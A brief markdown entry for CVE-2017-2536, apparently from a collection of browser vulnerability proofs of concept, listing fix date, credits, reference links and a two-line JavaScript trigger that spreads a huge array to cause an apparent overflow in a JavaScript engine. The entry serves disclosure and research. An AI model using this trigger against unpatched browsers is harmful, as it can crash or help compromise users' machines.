CVE-2017-2536.md

CVE-2017-2536

• Fix: May 2017
• Credit: Samuel Groß, and Niklas Baumstark

PoC

var a = new Array(0x7fffffff);
var x = [13, 37, ...a, ...a];

Reference

• Apple
• ZDI
• Write up